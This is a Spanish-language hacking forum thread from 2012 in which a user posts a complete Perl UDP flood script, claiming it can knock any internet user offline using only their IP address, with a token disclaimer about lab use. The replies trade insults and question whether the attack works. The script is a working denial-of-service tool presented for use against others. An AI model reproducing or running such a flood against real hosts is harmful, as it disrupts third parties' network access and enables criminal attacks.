Autor
|
Tema: script perl "Al descubierto" (Leído 10,249 veces)
|
[M4rtin]
Desconectado
Mensajes: 26
MYSQL - Pentesting - Wifi <-- [Io que me gusta ]
|
Hola a todos comparto este script source en perl , solo para aquellas personas que saben script y algo de perl si lo logran hacerlo bien , podran tumbar cualquier usuario en internet , tan solo con su ip bueno comencemos :d Claro necesitan tener instalado perl URL Oficial http://wiki.nil.com/UDP_flood_in_Perlimagenes de prueba : POSTDATA: No soy responsable con el uso , solo comparto como muchos lo hacen saludos y espero que lo hagan para labs pruebas saludos... codigo del source para los que no veen y esten preguntando cosas de gays jaja como no me funciona jaja bueno ya les dije arriba para los que saben perl se les hara muy facil no soy la persona que gusta dar todo masticado ... #!/usr/bin/perl ##################################################### # udp flood. ######################################################
use Socket; use strict; use Getopt::Long; use Time::HiRes qw( usleep gettimeofday ) ;
our $port = 0; our $size = 0; our $time = 0; our $bw = 0; our $help = 0; our $delay= 0;
GetOptions( "port=i" => \$port, # UDP port to use, numeric, 0=random "size=i" => \$size, # packet size, number, 0=random "bandwidth=i" => \$bw, # bandwidth to consume "time=i" => \$time, # time to run "delay=f"=> \$delay, # inter-packet delay "help|?" => \$help); # help
my ($ip) = @ARGV;
if ($help || !$ip) { print <<'EOL'; flood.pl --port=dst-port --size=pkt-size --time=secs --bandwidth=kbps --delay=msec ip-address
Defaults: * random destination UDP ports are used unless --port is specified * random-sized packets are sent unless --size or --bandwidth is specified * flood is continuous unless --time is specified * flood is sent at line speed unless --bandwidth or --delay is specified
Usage guidelines: --size parameter is ignored if both the --bandwidth and the --delay parameters are specified.
Packet size is set to 256 bytes if the --bandwidth parameter is used without the --size parameter
The specified packet size is the size of the IP datagram (including IP and UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
Warnings and Disclaimers: Flooding third-party hosts or networks is commonly considered a criminal activity. Flooding your own hosts or networks is usually a bad idea Higher-performace flooding solutions should be used for stress/performance tests Use primarily in lab environments for QoS tests EOL exit(1); }
if ($bw && $delay) { print "WARNING: computed packet size overwrites the --size parameter ignored\n"; $size = int($bw * $delay / 8); } elsif ($bw) { $delay = (8 * $size) / $bw; }
$size = 256 if $bw && !$size;
($bw = int($size / $delay * 8)) if ($delay && $size);
my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n"; print "Interpacket delay $delay msec\n" if $delay; print "total IP bandwidth $bw kbps\n" if $bw; print "Break with Ctrl-C\n" unless $time;
die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500); $size -= 28 if $size; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr)); usleep(1000 * $delay) if $delay; } saludos
|
|
|
En línea
|
Si no conoces el camino , no podras saber haci donde vas , pero siempre hay alguien que te ayude . es san google...
|
|
|
afdlkglfgfdgfhgf
Desconectado
Mensajes: 92
|
no hay para que ponerle tanta parafernalia, esta debe ser la tool numero 9999999999999 que hace esto. de todas maneras gracias por tu tiempo. saludos,
|
|
|
En línea
|
|
|
|
[M4rtin]
Desconectado
Mensajes: 26
MYSQL - Pentesting - Wifi <-- [Io que me gusta ]
|
hay esta su pagina oficial men , porque no te tomas tu tiempo en leer y luego hablas ,esto funciona saludos y sige aprendiendo
|
|
|
En línea
|
Si no conoces el camino , no podras saber haci donde vas , pero siempre hay alguien que te ayude . es san google...
|
|
|
afdlkglfgfdgfhgf
Desconectado
Mensajes: 92
|
en algun momento dije que no funciona , falta comprensión lectora . por cierto tu debes ser de esos simios mono-neuronales que andan votando paginas web. saludos lamerin. PD: por cierto lamerin se te olvidaba borrar los metadatos de la imagen "Author (Win): Maria TE AMOOOO e&" (k)
|
|
« Última modificación: 16 Julio 2012, 00:39 am por afdlkglfgfdgfhgf »
|
En línea
|
|
|
|
[M4rtin]
Desconectado
Mensajes: 26
MYSQL - Pentesting - Wifi <-- [Io que me gusta ]
|
no me interesa los metadatos , creados por otros "chema alonso" , yo me dedico a lo mio , "ahora me llamas lammer ,no tiro web , ya que no me gusta usas botnets y instalarlo en mi hosting de paga , y ponerme a infectar como loco 2.- Si necesitas algun problema dimelo en privado se nota que eres uno de esos habladores ... decime que sabes para taparte la boca
|
|
|
En línea
|
Si no conoces el camino , no podras saber haci donde vas , pero siempre hay alguien que te ayude . es san google...
|
|
|
afdlkglfgfdgfhgf
Desconectado
Mensajes: 92
|
bueno este es la ultima que te respondo. R.- Eres un wn ignorante. saludos.
|
|
|
En línea
|
|
|
|
m0rf
Desconectado
Mensajes: 828
BACK!
|
no me interesa los metadatos , creados por otros "chema alonso" XDDDDDDDDDDDDDDDDD Chema alonso crea todos los metadatos del mundo. Solo una pregunta. podran tumbar cualquier usuario en internet Si no tiene un puerto udp a la escucha funcionará? Obviamente aunque este el puerto abierto si esta bien configurado te baneará la ip a la "X" conexión que intentes realizar. De buen rollo, que no quiero que me hackees!!
|
|
|
En línea
|
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?
|
|
|
-- KiLiaN --
Desconectado
Mensajes: 1.163
Ju Já!!
|
solo para aquellas personas que saben script y algo de perl Se algo de perl....pero del lenguaje script no..pon algun manual o algo no?
|
|
|
En línea
|
|
|
|
[M4rtin]
Desconectado
Mensajes: 26
MYSQL - Pentesting - Wifi <-- [Io que me gusta ]
|
no trato de hackear solamente aqui comparto esta informacion ha quien le sirva pz que le sirva , le digo esto porque un amigo de "madrid me realizo un ataque desde aya aqui en peru" andaba en linux y logro dejarme sin linea ," , pensaba que hera botnet con mas de 5.000 infectados y hera solo eso jajaj bueno saludos bro seguire posteando mas cosas interesante , mientras ando aprendiendo linux
|
|
|
En línea
|
Si no conoces el camino , no podras saber haci donde vas , pero siempre hay alguien que te ayude . es san google...
|
|
|
m0rf
Desconectado
Mensajes: 828
BACK!
|
no trato de hackear solamente aqui comparto esta informacion ha quien le sirva pz que le sirva , le digo esto porque un amigo de "madrid me realizo un ataque desde aya aqui en peru" andaba en linux y logro dejarme sin linea ," , pensaba que hera botnet con mas de 5.000 infectados y hera solo eso jajaj bueno saludos bro seguire posteando mas cosas interesante , mientras ando aprendiendo linux
No te creo y tampoco debes poder demostrarlo. PD: Otra vez pon un titulo que tenga relación con lo que posteas. Yo no veo que analices nada, solo has puesto un código y ni es tuyo. Challenge: Conectate hoy a las tres en punto de la noche y te pasaré mi ip para que me intentes tumbar la conexión. Se que no puedes por eso te lo comento. AL DESCUBIERTO!!!
|
|
|
En línea
|
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
De donde puedo descargar utilidades: "Formas", "Estilos", "Motivos", D
Diseño Gráfico
|
Ad0nis
|
2
|
8,368
|
2 Septiembre 2006, 15:48 pm
por Ad0nis
|
|
|
Necesito un pequeño script "Wget" , "Mkdir"
Scripting
|
Dazereitor
|
3
|
5,776
|
18 Octubre 2009, 06:56 am
por leogtz
|
|
|
[BATCH] Ayuda con este script sobre "if exist" y "takeown" (SOLUCIONADO)
Scripting
|
SuperDraco
|
4
|
11,948
|
30 Noviembre 2009, 21:05 pm
por Angel Doze
|
|
|
Ayuda con "read" y "seek" en perl
Scripting
|
jankoitt
|
2
|
3,783
|
7 Abril 2011, 23:04 pm
por jankoitt
|
|
|
recursos visual basic, """"""proceso inmortal"""""
Análisis y Diseño de Malware
|
Dark4ngel
|
7
|
13,322
|
3 Noviembre 2011, 10:42 am
por Dark4ngel
|
|